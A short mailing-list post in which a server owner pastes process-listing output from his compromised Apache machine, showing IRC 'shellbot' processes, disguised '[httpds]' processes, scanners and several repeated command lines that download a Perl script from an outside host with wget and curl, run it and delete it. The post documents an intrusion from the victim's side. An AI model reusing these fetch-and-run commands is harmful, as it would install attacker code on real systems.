[ubuntu-uk] off topic - server security

[Sean Miller]

Here's a "ps -fe" I did a little while ago, just before I rebooted...

As you can see, they're really working hard to frustrate me...

Sean

[root at s15247463 httpdocs]# ps -fe | grep apache
apache    2889  2220  1 Dec26 ?        00:18:36 /usr/sbin/httpd
apache    2891  2220  0 Dec26 ?        00:00:00 /usr/sbin/httpd
apache    2892  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache    2893  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache    2894  2220  0 Dec26 ?        00:00:00 /usr/sbin/httpd
apache    2895  2220  0 Dec26 ?        00:00:05 /usr/sbin/httpd
apache    2896  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache   14664  2220  0 Dec26 ?        00:00:03 /usr/sbin/httpd
apache   32714     1  0 Dec26 ?        00:00:02 /apache/bin/httpd
apache   32719     1  0 Dec26 ?        00:00:02 /apache/bin/httpd
apache   19751  2894  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   19764     1 23 Dec26 ?        03:31:35 shellbot
apache   28642  2220  0 Dec26 ?        00:00:04 /usr/sbin/httpd
apache   28662  2891  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   28666     1 22 Dec26 ?        03:23:10 shellbot
apache   29532  2220  0 Dec26 ?        00:00:01 /usr/sbin/httpd
apache   29933  2220  0 Dec26 ?        00:07:18 /usr/sbin/httpd
apache   20833  2893  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   20838     1 13 Dec26 ?        01:21:35 [httpds]
apache   20847 29532  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   20853     1 13 Dec26 ?        01:21:33 [httpds]
apache   20870  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache   20879  2892  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   20884     1 13 Dec26 ?        01:21:28 [httpds]
apache   20887  2896  0 Dec26 ?        00:00:00 [sh] <defunct>
apache   20892     1 13 Dec26 ?        01:21:16 [httpds]
apache   20895  2220  0 Dec26 ?        00:00:01 /usr/sbin/httpd
apache   20896  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache   20901  2220  0 Dec26 ?        00:00:02 /usr/sbin/httpd
apache   21445  2220  0 Dec26 ?        00:00:01 /usr/sbin/httpd
apache    1875     1  0 00:01 ?        00:00:00 [httpds]
apache    2237     1  0 00:14 ?        00:00:00 ./mocks start
apache    5465 20895  0 00:23 ?        00:00:00 [sh] <defunct>
apache    5477     1  6 00:23 ?        00:24:48 shellbot
apache   10110 14664  0 01:00 ?        00:00:00 [sh] <defunct>
apache   10142     1 11 01:00 ?        00:44:09 shellbot
apache   10537  2220  0 01:27 ?        00:00:01 /usr/sbin/httpd
apache   13780     1  0 02:28 ?        00:00:00 [httpds]
apache   13781 13780  0 02:28 ?        00:00:00 sh -c wget
http://www.i-servers.nl/rooster/test.txt;curl -O
http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1
3>&1
apache   13784     1  0 02:28 ?        00:00:00 [httpds]
apache   13785 13784  0 02:28 ?        00:00:00 sh -c wget
http://www.i-servers.nl/rooster/test.txt;curl -O
http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1
3>&1
apache   13788     1  0 02:28 ?        00:00:00 [httpds]
apache   13789 13788  0 02:28 ?        00:00:00 sh -c wget
http://www.i-servers.nl/rooster/test.txt;curl -O
http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1
3>&1
apache   13792     1  0 02:28 ?        00:00:00 [httpds]
apache   13793 13792  0 02:28 ?        00:00:00 sh -c wget
http://www.i-servers.nl/rooster/test.txt;curl -O
http://www.i-servers.nl/rooster/test.txt;perl test.txt;rm -rf test* 2>&1
3>&1
apache   13798 13789  0 02:29 ?        00:00:00 perl test.txt
apache   13802 13781  0 02:29 ?        00:00:00 perl test.txt
apache   13806 13793  0 02:29 ?        00:00:00 perl test.txt
apache   13810 13785  0 02:29 ?        00:00:00 perl test.txt
apache   22282  2220  0 03:40 ?        00:00:00 /usr/sbin/httpd
apache   22434 20896  0 03:51 ?        00:00:00 [sh] <defunct>
apache   22442     1 10 03:51 ?        00:20:33 [httpd]
apache   22513 21445  0 03:55 ?        00:00:00 [perl] <defunct>
apache   22515     1  0 03:55 ?        00:00:00 /usr/local/apache/bin/nscan
-DSSL
apache   22552  2220  0 03:58 ?        00:00:00 /usr/sbin/httpd
apache   23183     1  0 04:03 ?        00:00:48 /usr/local/apache/bin/nscan
-DSSL
apache   23187     1  0 04:03 ?        00:00:47 /usr/local/apache/bin/nscan
-DSSL
apache    3606  2220  0 04:52 ?        00:00:00 /usr/sbin/httpd
apache   27716     1  0 06:54 ?        00:00:00 [httpd]
apache   27720     1  0 06:54 ?        00:00:00 ./php
apache   28140     1  0 07:06 ?        00:00:00 /bin/sh ./mass 139
apache   28299 28140  0 07:12 ?        00:00:00 /bin/bash ./a 139.1
apache   28302 28299  9 07:12 ?        00:00:20 /bin/bash  139.1 22
-------------- next part --------------
An HTML attachment was scrubbed...
URL: https://lists.ubuntu.com/archives/ubuntu-uk/attachments/20071227/2040233d/attachment.htm